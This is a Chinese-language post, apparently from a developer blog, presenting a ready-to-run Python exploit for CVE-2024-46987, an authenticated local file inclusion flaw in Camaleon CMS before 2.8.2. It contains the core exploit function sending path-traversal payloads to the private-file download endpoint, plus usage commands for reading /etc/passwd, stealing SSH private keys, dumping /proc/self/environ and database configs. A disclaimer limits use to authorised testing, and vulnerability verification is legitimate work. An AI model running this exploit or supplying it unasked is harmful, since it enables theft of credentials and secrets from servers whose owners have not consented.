Camaleon CMS 认证本地文件包含 (LFI) 漏洞利用工具

Camaleon CMS LFI 漏洞利用工具 (CVE-2024-46987)

这是一个针对 Camaleon CMS 认证后本地文件包含(LFI)漏洞的 Python 利用脚本。该工具允许经过身份验证的攻击者利用受影响的端点读取服务器上的任意敏感文件(如配置文件、系统密码文件等),适用于授权环境下的安全测试与漏洞验证。

功能特性

  • 精准漏洞利用 :针对 CVE-2024-46987 漏洞的专用利用逻辑。
  • 路径遍历 :通过未充分清理的 file 参数实现目录跳转读取任意文件。
  • 灵活输出:支持将读取内容直接输出到终端或保存为本地文件。
  • 简洁易用:命令行参数设计清晰,支持快速测试和脚本化集成。
  • 错误处理:包含基本的请求异常捕获和身份验证失败提示。

安装指南

系统要求

  • Python 3.x
  • pip 包管理工具

依赖安装

使用 pip 安装所需的 requests 库:

bash 复制代码
pip install requests

使用说明

基础用法

bash 复制代码
# 将文件内容打印到终端
python3 exploit.py -u http://目标地址.com -f /etc/passwd -t "your_auth_token"

# 将文件内容保存到本地
python3 exploit.py -u http://目标地址.com -f /etc/passwd -t "your_auth_token" -o passwd.txt

参数说明

参数 描述
-u, --url 目标 CMS 的基础 URL(例如 https://10.10.10.x
-f, --file 要读取的文件绝对路径(例如 /etc/passwd
-t, --token 认证所需的 auth_token Cookie 值
-o, --output (可选)将输出保存到指定文件名,不设置则打印到终端

应用场景示例

bash 复制代码
# 读取 Linux 系统密码文件
python3 exploit.py -u https://example.com -f /etc/passwd -t "abc123token"

# 窃取用户 SSH 私钥
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "token" -o id_rsa

# 读取环境变量(可能泄露密钥)
python3 exploit.py -u https://example.com -f /proc/self/environ -t "token"

# 读取数据库配置文件
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "token"

核心代码

漏洞利用核心函数

python 复制代码
def exploit(target: str, filename: str, token: str, outfile: str = None) -> None:
    """利用 LFI 漏洞下载任意文件"""

    # 构建恶意的完整 URL 和 Payload
    url = f"{target.rstrip('/')}/admin/media/download_private_file"
    payload = f"../../../../../../{filename.lstrip('/')}"  # 路径遍历核心

    cookies = {"auth_token": token}

    try:
        # 发送构造的 GET 请求
        resp = requests.get(
            url,
            params={"file": payload},
            cookies=cookies,
            verify=False,  # 忽略 SSL 证书验证(适用于 HTB 等实验环境)
            timeout=10
        )

        # 处理响应结果
        if resp.status_code == 200 and resp.content:
            if outfile:
                with open(outfile, "wb") as f:
                    f.write(resp.content)
                print(f"[+] 成功!文件已保存至: {outfile}")
            else:
                # 尝试多种解码方式输出内容
                try:
                    print(resp.content.decode('utf-8'))
                except UnicodeDecodeError:
                    print(resp.content.decode('latin-1'))
        elif resp.status_code in (401, 403):
            print("[-] 认证失败 - 请检查你的 token")
        else:
            print(f"[-] 请求失败 - 状态码: {resp.status_code}")

    except requests.exceptions.RequestException as e:
        print(f"[-] 网络请求异常: {e}")

主程序入口与参数解析

python 复制代码
def main():
    parser = argparse.ArgumentParser(
        description="CVE-2024-46987 - Camaleon CMS LFI 漏洞利用(需认证)"
    )
    parser.add_argument("-u", "--url", required=True, help="目标 URL (如 https://10.10.10.x)")
    parser.add_argument("-f", "--file", required=True, help="要读取的文件 (如 /etc/passwd)")
    parser.add_argument("-t", "--token", required=True, help="auth_token Cookie 值")
    parser.add_argument("-o", "--output", help="保存到文件而不是打印到终端")

    args = parser.parse_args()
    exploit(args.url, args.file, args.token, args.output)

if __name__ == "__main__":
    main()

漏洞说明

CVE-2024-46987 影响 Camaleon CMS 2.8.2 之前的版本。漏洞位置在 /admin/media/download_private_file 端点,由于对 file 参数缺乏充分的输入过滤和路径规范化处理,攻击者可以使用 ../../../../ 等序列跳出预期目录,从而读取系统内的任意文件。

免责声明

本工具仅用于授权的安全测试、漏洞评估和研究目的。使用者必须获得目标系统的明确授权。开发者不承担任何因滥用或非法使用本工具而造成的直接或间接责任。 6HFtX5dABrKlqXeO5PUv/3hmWEozFkYYvupHJiDwp0E=

相关推荐
阿里云大数据AI技术1 小时前
PAI部署Hermes Agent全攻略,打造越用越懂你的AI助手
人工智能·agent
一个小猴子`1 小时前
Pytorch快速复习
人工智能·pytorch·python
verphan1 小时前
人工智能-现代方法(一)
人工智能
Bode_20021 小时前
AI时代下制造企业创新难点
人工智能·制造
老王谈企服1 小时前
2026制造业供应链韧性提升,智能化将成为核心解决方案吗?基于实在Agent的端到端自动化实践
运维·人工智能·ai·自动化
Agent手记1 小时前
工厂货物智能入库全流程自动化:基于实在Agent与ISSUT技术的2026工业自动化实战指南
运维·人工智能·ai·自动化
五月底_1 小时前
Transformer
人工智能·深度学习
舞影天上2 小时前
我用 Docker 自托管了 AI 记忆系统,踩了 5 个坑全记录
人工智能
无心水2 小时前
【Hermes:安全、权限与生产环境】39、智能体也会犯错?Hermes 纠错、回滚与遗忘机制全指南 —— 让 AI 的错误像 Git 一样可逆可控
人工智能·git·安全·mcp协议·openclaw·hermes·honcho